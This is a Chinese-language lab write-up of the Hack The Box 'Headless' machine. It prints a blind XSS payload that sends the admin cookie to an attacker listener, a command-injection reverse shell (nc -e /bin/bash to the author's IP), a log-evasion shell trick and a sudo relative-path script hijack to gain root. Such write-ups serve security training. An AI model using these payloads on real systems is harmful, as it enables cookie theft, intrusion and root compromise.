Headless靶机笔记

Headless靶机

靶机概述

Headless 是一款简单易难的 Linux 机器,具有python实现的托管网站的服务器。基本思路:

  1. 通过端口探测到web页面,有一个表单。
  2. 利用忙注XSS,获得管理员Cookie,进而获得立足点。
  3. 利用邮件信息进行提权到root权限

Headless靶机地址

1、nmap端口探测

1)测试kali与HTB连通性
a)kali连接网卡
ip a
tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.50/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::1030/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::5fd0:9e3a:8065:d66a/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever

与HTB连接的网卡10.10.14.50

b)HTB靶机地址

c) ping 测试
ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=330 ms
64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=328 ms
2) nmap扫描
a) 端口发现
# 以最低10000速率,以tcp扫面全端口 结果输出到ports文件中
nmap -sT -p- --min-rate 10000 10.10.11.8 -o ports

Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-27 22:32 EDT
Warning: 10.10.11.8 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.8
Host is up (0.33s latency).
Not shown: 65178 closed tcp ports (conn-refused), 355 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 54.36 seconds
b) 端口详细信息
# 以tcp连接,输出详细信息,以默认脚本 扫描22,5000端口,结果输出到details文件中
nmap -sT -sV -sC -p22,5000 10.10.11.8 -o details  

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_  256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sun, 28 Jul 2024 02:48:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close

可以看到5000端口像是一个web服务,22号端口就是常规的ssh服务

2、web渗透

1)访问5000端口

发现有一个For questions的按钮,我们点击进去,看到一个表单,尝试XSS注入

点击提交

上面显示

Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.

你的IP地址已经被标记,你的浏览器信息的报告已经被发送给管理员去调查了。

下边就是报告的信息,可以看到有头部的信息,可以尝试头部XSS注入

2)获取管理员cookie
a) 尝试注入点

我们打开burpsuite拦截提交表单的请求

成功弹窗

b) 获取管理员cookie
  1. 打开本地的服务,捕获http请求
# python开启http监听5000端口
python -m http.server 5000
  1. UA头插入
GET请求本地的python服务cookie以参数传输base64加密后的字符串
<script>var i=new Image(); i.src="http://10.10.14.41:5000/?cookie="+btoa(document.cookie);</script>

出现了一点小bug,

ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
From 10.10.14.1 icmp_seq=1 Destination Host Unreachable
From 10.10.14.1 icmp_seq=2 Destination Host Unreachable
From 10.10.14.1 icmp_seq=3 Destination Host Unreachable

换了一个vpn节点 我的主机ip换成了 10.10.14.54

3.发送观察本地的python服务

看到cookie的base64外带出来了

开始base64解码

echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d

# 结果
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 

看着is_admin字段也是base64加密的,解码看看

echo "ImFkbWluIg" | base64 -d
"admin"base64: 无效的输入

# 这里无效输入,是base编码字符的长度必须是4的倍数,否则用‘=’补齐
echo "ImFkbWluIg==" | base64 -d
"admin"

可以看到就是admin,我们有了admin的cookie,看看有没有什么其他可以访问的网站

3)管理界面路径寻找
a) 路径爆破
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.8:5000

#出来的路径
/support              (Status: 200) [Size: 2363]
/dashboard            (Status: 500) [Size: 265]
b) 访问dashboard

unauthorized我们可以更换我们浏览器的cookie值,达到访问的目的

刷新可以看到

看它是Select Date框里是日期,会不会是date命令生成的呢。点击 Generate Report看看会发生什么

下面说Systems are up and running!

用burp抓包分析一下

c) 尝试命令注入

传了一个date参数,我们尝试命令注入 ;id看可不可以

看到输出了id的命令值

3、反弹shell,获得立足点

1)本地监听
nc -lnvp 4444
2) 命令注入

反弹shell

nc -e /bin/bash 10.10.14.54 4444

成功反弹shell,获得立足点

# 获得一个更美观的shell,并让日志不记录我们的操做
script /dev/null -c /bin/bash

3) 获得user flag

在本用户的家目录,找到flag

dvir@headless:~$ cd /home/dvir
cd /home/dvir
dvir@headless:~$ cat user.txt 
cat user.txt
c62add3a4cecb6ace7242e40305e9ed2

4、提权到root

1)发现邮件系统

通过枚举目标系统,发现目标有邮件

cd /var/mail
cat dvir

Subject: Important Update: New System Check Script

Hello!

We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.

What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.

Rest assured, this script is at your disposal and won't affect your regular use of the system.

If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.

By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless

意思就是说:为了应对最近的兼容性和崩溃问题,我们引入了一个新的系统检查脚本。

这个脚本应该就是我们提权的关键

# 运行 sudo -l 可以看到检查文件的路径
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck
#查看一下脚本
cat /sur/bin/syscheck

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

2)分析脚本文件

我们可以看到以上脚本,执行了多项系统的检查与维护任务。

首先,它验证是否以特权运行,如果没有则退出。

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

然后,识别并格式化显示内核vmlinuz*的最后修改时间。

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

之后,它检索并显示根文件系统上的可用磁盘空间。

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

该脚本还报告系统的平均负载。此外,它还会检查名为 initdb.sh 的数据库服务是否正在运行;如果没有,它会默默地启动它

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

基于initdb.sh没有运行会被这个检查系统的脚本syscheck默默以特权执行

我们是不是可以像dll劫持、环境变量劫持那样,让他去加载我们自己写的initdb.sh

3)initdb.sh劫持提权
# 由于我们在tmp目录下具有写权限,先在tmp目录下创建initdb.sh

echo "/bin/bash" > /tmp/initdb.sh

# 赋予执行权限
chmod +x /tmp/initdb.sh

执行sudo syscheck

dvir@headless:/tmp$ sudo syscheck
sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.00, 0.00, 0.00
Database service is not running. Starting it...
id
id
uid=0(root) gid=0(root) groups=0(root)

拿到root flag

cat /root/root.txt
1d3462b03683fc35bcd908637e7dc4a7

总结

  1. 先用nmap扫描,发现目标机器开放了22,5000端口。
  2. 访问5000端口,发现是一个web服务,并且有一个表单,尝试存储型XSS攻击,获得管理员cookie信息
  3. 利用管理员cookie信息,结合目录爆破出来的/bashboard路径,发现了一处命令注入的RCE漏洞,成功获得立足点
  4. 通过枚举得到此用户有mail邮件,打开邮件说有一个系统检查脚本syscheck,通过分析脚本知道脚本会去以root权限运行initdb.sh服务
  5. 通过劫持initdb.sh成功获得root权限

热门相关:至尊凰妃   我的末世基地车   腹中人的有嚼劲的肉   人族镇守使   我真的是正派